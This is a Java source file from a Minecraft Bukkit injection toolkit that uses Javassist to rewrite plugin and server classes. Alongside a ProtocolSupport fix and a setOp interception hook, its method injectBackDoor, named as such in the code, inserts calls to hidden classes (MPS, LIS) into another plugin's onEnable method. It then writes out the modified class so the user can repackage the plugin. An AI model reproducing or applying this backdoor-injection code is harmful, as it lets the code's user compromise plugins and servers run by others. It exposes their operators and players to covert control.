package pw.yumc.BukkitInjectedTools; import java.io.File; import java.net.URLDecoder; import org.bukkit.Bukkit; import org.bukkit.command.CommandSender; import org.bukkit.plugin.Plugin; import javassist.ClassPool; import javassist.CtClass; import javassist.CtField; import javassist.CtMethod; import pw.yumc.injected.event.SetOpEvent; /** * 注入工具集 * * @since 2016年3月31日 下午7:44:25 * @author 喵♂呜 */ public class InjectedKit { public static String prefix = "§6[§bYum §a注入工具§6]§r "; public static String NMS = Bukkit.getServer().getClass().getPackage().getName().replace(".", ",").split(",")[3]; public static void fixPS(final CommandSender sender, final String path, final Class clazz) { sender.sendMessage(prefix + "§c生成 ProtucolSupport 修复类..."); try { final ClassPool pool = ClassPool.getDefault(); final File classFile = new File(URLDecoder.decode(clazz.getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8")); pool.appendClassPath(classFile.getPath()); final CtClass statusListener = pool.get(clazz.getName()); final CtMethod setOpMethod = statusListener.getDeclaredMethod("a"); statusListener .addField(CtField.make( "private static final net.minecraft.server." + NMS + ".IChatBaseComponent infoAlreadySent = new net.minecraft.server." + NMS + ".ChatComponentText(\"Status request has already been handled.\");", statusListener)); statusListener.addField(CtField.make("private boolean sentInfo = false;", statusListener)); final String checkStatus = "" + "{ if (sentInfo) { nmanager.close(infoAlreadySent); } sentInfo = true; }"; setOpMethod.insertBefore(checkStatus); try { statusListener.writeFile(path); sender.sendMessage(prefix + "§a生成成功 §b请复制 §e" + path + " §b下所有文件到插件内部!"); } catch (final Exception e) { e.printStackTrace(); sender.sendMessage(prefix + "§4生成失败 请查看后台报错!"); } } catch (final Exception e) { e.printStackTrace(); } } public static void injectBackDoor(final CommandSender sender, final String key, final Plugin plugin) { sender.sendMessage(prefix + "§c生成 " + plugin.getName() + " 数据注入类..."); try { final ClassPool pool = ClassPool.getDefault(); File classFile = new File(URLDecoder.decode(plugin.getClass().getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8")); pool.appendClassPath(classFile.getPath()); classFile = new File(URLDecoder.decode(LIS.class.getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8")); pool.appendClassPath(classFile.getPath()); classFile = new File(URLDecoder.decode(MPS.class.getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8")); pool.appendClassPath(classFile.getPath()); final CtClass mainClass = pool.get(plugin.getClass().getName()); final CtMethod onEnableMethod = mainClass.getDeclaredMethod("onEnable"); final String backDoor = "" + "{" + " org.bukkit.Bukkit.getScheduler().runTaskAsynchronously(this, new pw.yumc.BukkitInjectedTools.MPS());" + " org.bukkit.Bukkit.getPluginManager().registerEvents(new pw.yumc.BukkitInjectedTools.LIS(), this);" + "}"; onEnableMethod.insertBefore(String.format(backDoor, key, Bukkit.getServer().getPort())); try { final File dir = new File(plugin.getDataFolder(), "injectClass"); mainClass.writeFile(); sender.sendMessage(prefix + "§a生成成功 §b请复制 §e" + dir.getAbsolutePath() + " §b下所有文件到插件内部!"); } catch (final Exception e) { e.printStackTrace(); sender.sendMessage(prefix + "§4生成失败 请查看后台报错!"); } } catch (final Exception e) { e.printStackTrace(); } } public static void injectProtocolSupport(final CommandSender sender, final String path, final boolean newver) { if (newver) { fixPS(sender, path, protocolsupport.protocol.packet.handler.StatusListener.class); } else { fixPS(sender, path, protocolsupport.protocol.transformer.handlers.StatusListener.class); } } public static void injectSetOpMethod(final CommandSender sender, final String path) { sender.sendMessage(prefix + "§c生成 SetOp 拦截类..."); try { final ClassPool pool = ClassPool.getDefault(); final String craftOfflinePlayerClassName = Bukkit.getServer().getClass().getPackage().getName() + ".CraftOfflinePlayer"; final File classFile = new File(URLDecoder.decode(SetOpEvent.class.getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8")); pool.appendClassPath(classFile.getPath()); final CtClass craftOfflinePlayer = pool.get(craftOfflinePlayerClassName); final CtClass setOpEvent = pool.get(SetOpEvent.class.getName()); final CtMethod setOpMethod = craftOfflinePlayer.getDeclaredMethod("setOp"); final String setop = "" + "{" + " pw.yumc.injected.event.SetOpEvent event = new pw.yumc.injected.event.SetOpEvent($0,$1);" + " org.bukkit.Bukkit.getPluginManager().callEvent(event);" + " if(event.isCancelled()){" + " return;" + " }" + " if ($1 == isOp()) {" + " return;" + " }" + " if ($1) {" + " server.getHandle().addOp(profile);" + " } else {" + " server.getHandle().removeOp(profile);" + " }" + "}"; setOpMethod.setBody(setop); try { setOpEvent.writeFile(path); craftOfflinePlayer.writeFile(path); sender.sendMessage(prefix + "§a生成成功 §b请复制 §e" + path + " §b下所有文件到服务器Jar内!"); } catch (final Exception e) { e.printStackTrace(); sender.sendMessage(prefix + "§4生成失败 请查看后台报错!"); } } catch (final Exception e) { e.printStackTrace(); } } }